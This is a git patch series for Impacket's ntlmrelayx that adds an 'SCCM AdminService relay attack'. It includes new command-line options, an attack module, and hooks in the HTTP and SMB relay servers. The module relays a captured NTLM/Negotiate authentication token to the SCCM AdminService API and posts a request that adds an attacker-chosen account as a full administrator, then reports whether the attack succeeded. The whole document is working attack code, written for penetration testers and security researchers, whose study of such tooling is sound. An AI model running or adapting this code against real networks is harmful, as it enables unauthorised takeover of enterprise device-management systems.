From 5b84666eb5b1cd0a2477aecea7076174c38afa8c Mon Sep 17 00:00:00 2001 From: Garrett Foster Date: Tue, 18 Jul 2023 22:55:23 -0700 Subject: [PATCH 1/2] AdminService Attack --- examples/ntlmrelayx.py | 8 +++ .../examples/ntlmrelayx/attacks/httpattack.py | 3 + .../attacks/httpattacks/adminserviceattack.py | 70 +++++++++++++++++++ .../ntlmrelayx/servers/httprelayserver.py | 11 +++ impacket/examples/ntlmrelayx/utils/config.py | 16 +++++ 5 files changed, 108 insertions(+) create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 22f6744929..30053ed230 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -205,6 +205,7 @@ def start_servers(options, threads): options.cert_outfile_path) c.setAltName(options.altname) + c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: @@ -390,6 +391,13 @@ def stop_servers(threads): help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + # Adminservice opions + adminoptions = parser.add_argument_group("SCCM AdminService attack options") + adminoptions.add_argument('--adminservice', action='store_true', required=False, help="Enable SCCM AdminService relay attack") + adminoptions.add_argument('--logonname', action='store', required=False, help="Logon name of the account to be added as an admin") + adminoptions.add_argument('--displayname', action='store', required=False, help="Display name name of the account to be added as an admin") + adminoptions.add_argument('--objectsid', action='store', required=False, help="SID of the account to be added as an admin") + try: options = parser.parse_args() except Exception as e: diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 233a3f5713..b6866546e2 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -17,6 +17,7 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" @@ -34,6 +35,8 @@ def run(self): if self.config.isADCSAttack: ADCSAttack._run(self) + elif self.config.isADMINAttack: + ADMINSERVICEAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py new file mode 100644 index 0000000000..9e81cd4556 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py @@ -0,0 +1,70 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM AdminService relay attack +# +# Authors: +# Garrett Foster (@garrfoster) +# Tw1sm (@Tw1sm) + +from impacket import LOG +from struct import unpack +from impacket.spnego import SPNEGO_NegTokenResp +import json +import base64 + + +class ADMINSERVICEAttack: + def _run(self): + # slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth, + # requring all action to be performed in one shot + if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: + respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken) + token = respToken2['ResponseToken'] + else: + token = self.config.sccmAdminToken + auth = base64.b64encode(token).decode("ascii") + headers = {'Authorization':'%s %s' % ('Negotiate', auth),'Content-Type': 'application/json; odata=verbose'} + + data = { + "LogonName": self.config.logonname, + "AdminSid": self.config.objectsid, + "Permissions": [ + { + "CategoryID": "SMS00ALL", + "CategoryTypeID": 29, + "RoleID":"SMS0001R", + }, + { + "CategoryID": "SMS00001", + "CategoryTypeID": 1, + "RoleID":"SMS0001R", + }, + { + "CategoryID": "SMS00004", + "CategoryTypeID": 1, + "RoleID":"SMS0001R", + } + ], + "DisplayName": self.config.displayname + } + + body = json.dumps(data) + + LOG.info('Adding administrator via SCCM AdminService...') + self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body) + + res = self.client.getresponse() + + if res.status == 201: + LOG.info('Server returned code 201, attack successful') + else: + self.lastresult = res.read() + LOG.info(f'Server returned code {res.status} - attack likely failed') + LOG.info(self.lastresult.decode("utf-8").replace("'", '"')) diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index e83898f03b..7eb74d5653 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -429,6 +429,17 @@ def do_relay(self, messageType, token, proxy, content = None): target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc) + # when relaying to the SCCM AdminService to add a new administrator, + # we need to break out of the normal relay auth flow and + # perform the attack all in one shot + if self.server.config.isADMINAttack: + LOG.info("Exiting standard auth flow to add SCCM admin...") + self.server.config.setSCCMAdminToken(token) + LOG.info("HTTPD(%s): Authenticating against %s://%s as %s" % (self.server.server_address[1], + self.target.scheme, self.target.netloc, self.authUser)) + self.do_attack() + return + if not self.do_ntlm_auth(token, authenticateMessage): LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 5a19a29c9f..f34d70b15f 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -100,6 +100,13 @@ def __init__(self): self.ShadowCredentialsExportType = None self.ShadowCredentialsOutfilePath = None + # Admin service attack + self.isADMINAttack = False + self.sccmAdminToken = None # internal storage var; not a CLI flag option + self.logonname = None + self.displayname = None + self.objectsid = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -238,6 +245,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials def setAltName(self, altName): self.altName = altName + def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid): + self.isADMINAttack = isADMINAttack + self.logonname = logonname + self.displayname = displayname + self.objectsid = objectsid + + def setSCCMAdminToken(self, token): + self.sccmAdminToken = token + def parse_listening_ports(value): ports = set() for entry in value.split(","): From 1cebdf31956393314db47ec3076f1919d0ba2d0c Mon Sep 17 00:00:00 2001 From: Garrett Foster Date: Wed, 2 Aug 2023 21:37:55 -0700 Subject: [PATCH 2/2] Updated smbrelayserver for AdminService Attack --- .../ntlmrelayx/attacks/httpattacks/adminserviceattack.py | 7 ++++++- impacket/examples/ntlmrelayx/servers/httprelayserver.py | 3 +-- impacket/examples/ntlmrelayx/servers/smbrelayserver.py | 6 ++++++ 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py index 9e81cd4556..bf52323fde 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py @@ -19,11 +19,16 @@ import json import base64 +ELEVATED = [] class ADMINSERVICEAttack: def _run(self): # slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth, # requring all action to be performed in one shot + if self.username in ELEVATED: + LOG.info('Skipping user %s since attack was already performed' % self.username) + return + if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken) token = respToken2['ResponseToken'] @@ -59,7 +64,7 @@ def _run(self): LOG.info('Adding administrator via SCCM AdminService...') self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body) - + ELEVATED.append(self.username) res = self.client.getresponse() if res.status == 201: diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 7eb74d5653..be70f3ac76 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -435,8 +435,7 @@ def do_relay(self, messageType, token, proxy, content = None): if self.server.config.isADMINAttack: LOG.info("Exiting standard auth flow to add SCCM admin...") self.server.config.setSCCMAdminToken(token) - LOG.info("HTTPD(%s): Authenticating against %s://%s as %s" % (self.server.server_address[1], - self.target.scheme, self.target.netloc, self.authUser)) + LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser)) self.do_attack() return diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 2adf6f514c..5e993b718e 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -326,6 +326,12 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() + if self.config.isADMINAttack: + LOG.info("Exiting standard auth flow to add SCCM admin...") + self.config.setSCCMAdminToken(token) + LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser)) + self.do_attack(client) + return if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob